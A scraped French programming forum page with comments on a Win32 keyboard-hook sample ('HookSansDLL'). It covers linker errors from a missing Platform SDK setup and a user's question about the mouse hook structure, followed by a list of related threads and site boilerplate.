HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__SetWindowTextA@8 référencé dans la fonction "int __stdcall MainDlgProc(struct HWND__ *,unsigned int,unsigned int,long)" (?MainDlgProc@@YGHPAUHWND__@@IIJ@Z)
HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__SetWindowsHookExA@16 référencé dans la fonction "int __stdcall MainDlgProc(struct HWND__ *,unsigned int,unsigned int,long)" (?MainDlgProc@@YGHPAUHWND__@@IIJ@Z)
HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__CreateWindowExA@48 référencé dans la fonction "int __stdcall MainDlgProc(struct HWND__ *,unsigned int,unsigned int,long)" (?MainDlgProc@@YGHPAUHWND__@@IIJ@Z)
HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__EndDialog@8 référencé dans la fonction "int __stdcall MainDlgProc(struct HWND__ *,unsigned int,unsigned int,long)" (?MainDlgProc@@YGHPAUHWND__@@IIJ@Z)
HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__DialogBoxIndirectParamA@20 référencé dans la fonction _WinMain@16
.\Debug/HookSansDLL.exe : fatal error LNK1120: 7 externes non résolus
Le journal de génération a été enregistré à l'emplacement "file://c:\Documents and Settings\Admin\Bureau\HookSansDLL\Debug\BuildLog.htm"
HookSansDLL - 8 erreur(s), 0 avertissement(s)
========== Génération : 0 a réussi, 1 a échoué, 0 mis à jour, 0 a été ignoré ==========

J'ai raté un épisode ou bien y a-til un problème quelque part ?

Merci pour votre aide.



Commentaire de BruNews le 08/04/2007 09:33:20 administrateur CS

Voila le bon tuto pour pose VC++ Express 2005:
http://www.cppfrance.com/code.aspx?ID=38359
ne pas oublier la pose du platform SDK, etc... comme expliqué.
Ensuite c'est un projet 'Win32 App' qu'il faut faire et non de la dotnetterie.
Compiler en RELEASE pour prog system.

Commentaire de babaslow le 09/04/2007 04:54:36

Merci BruNews ;)

Commentaire de unionx le 03/05/2007 04:35:41

brrrrrrr :| là c'est vraiment excellent , facile , claire . les commentaires sont bien employé , et avec tt ces questions et ces reponces ca rendre les choses facile .
racpp et BruNews(Le chat noir ;-) vive l'horreur) 10/10.

Commentaire de unknow0 le 04/06/2007 17:55:19

super ça va planter tot ou tard

Commentaire de damned3 le 20/07/2007 02:01:38

super pour le hook clavier ca marche nickel !
par contre pour modifier le code en hook souris la je patine un peu ...
Je peux mettre un hook souris, ça marche mais ensuite je ne sais pas en
quelle structure caster le lParam pour obtenir les coordonnées de la souris
au moment du clic ... (pour le clavier c'est KBDLLHOOKSTRUCT)

J'ai essayé avec MOUSEDLLHOOKSTRUCT mais ça marche pas ...

Quelqu'un pourrait éclairer ma lanterne ?

Commentaire de damned3 le 20/07/2007 02:16:21

C'est bon jai trouvé...

Cque je peux etre bete des fois ... c'était MOUSEHOOKSTRUCT ... (sigh)

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

Creer un hook dans une dll [ par zinotron ] Je n'ai pas tout compris moi ...j'ai fait une rechercher dans les systeme de creation de hook dans l'API win32, et je compris cela : RIEN.enfin si j'a hook global [ par Xentor609 ] Salut,Je sais bien que ca enerve certain les questions sur les hooks, mais al trouve vraiment pas.Je souhaiterais placer un hook sur le clavier, pour Hooks et sockets... [ par morganitos ] Bonjour... Et bien non, ce message ne traite pas sur "comment installer un hook" mais sur un autre problème (qui concerne les hooks quand même). Je v Faire une callback vers un exe dans un callback hook d'une dll [ par Suisse00 ] Salut :) J'ai cr&#233;er un hook sur le clavier dans une DLL, dans le callback du hook j'aimerais faire un callback vers une fonctoin du fichier exe. Hook DLL [ par Taron31 ] Bonjour, Voil&#224;, j'ai &#233;cris une petite DLL de hook pour une certaine fonction de l'API win32, je voulais tout simplement savoir comment la Variable pour un hook [ par ChrOnOs83 ] Bonjour &#224; tous, Il y a un probl&#232;me sur lequel je bloque depuis d&#233;j&#224; plusieurs jours.J'ai cr&#233;&#233; une dll pour faire un hook DllMain non appellée lors d'un hook global? [ par HeavenForsaker ] Bonjour,En mettant en place un hook global avec DLL, je me suis aper&#231;u que la fonction dllMain n'&#233;tait jamais ex&#233;cut&#233;e. Pourtant u Question Injection DLL et Hook [ par Taron31 ] Bonjour, je me pose une question conernant la fonction SetWindowsHookEx, notamment concernant l'injection de la DLL. J'ai en effet un programme de hoo Problème de hook clavier [ par Oeil_de_taupe ] Bonjour tout le monde, Je suis en train de créer un programme me permettant d'utiliser qu'un seul clavier sur deux ordinateurs (grâce à une connectio Question sur les dll [ par flatou ] Salut a tous Je me pose une question : soit un programme qui a effectuer un hook sur une fonction de la dll kernel32.dll. Si mon deuxieme programme co


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Février 2010
LMMJVSD
1234567
891011121314
15161718192021
22232425262728

Consulter la suite du CalendriCode

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,998 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales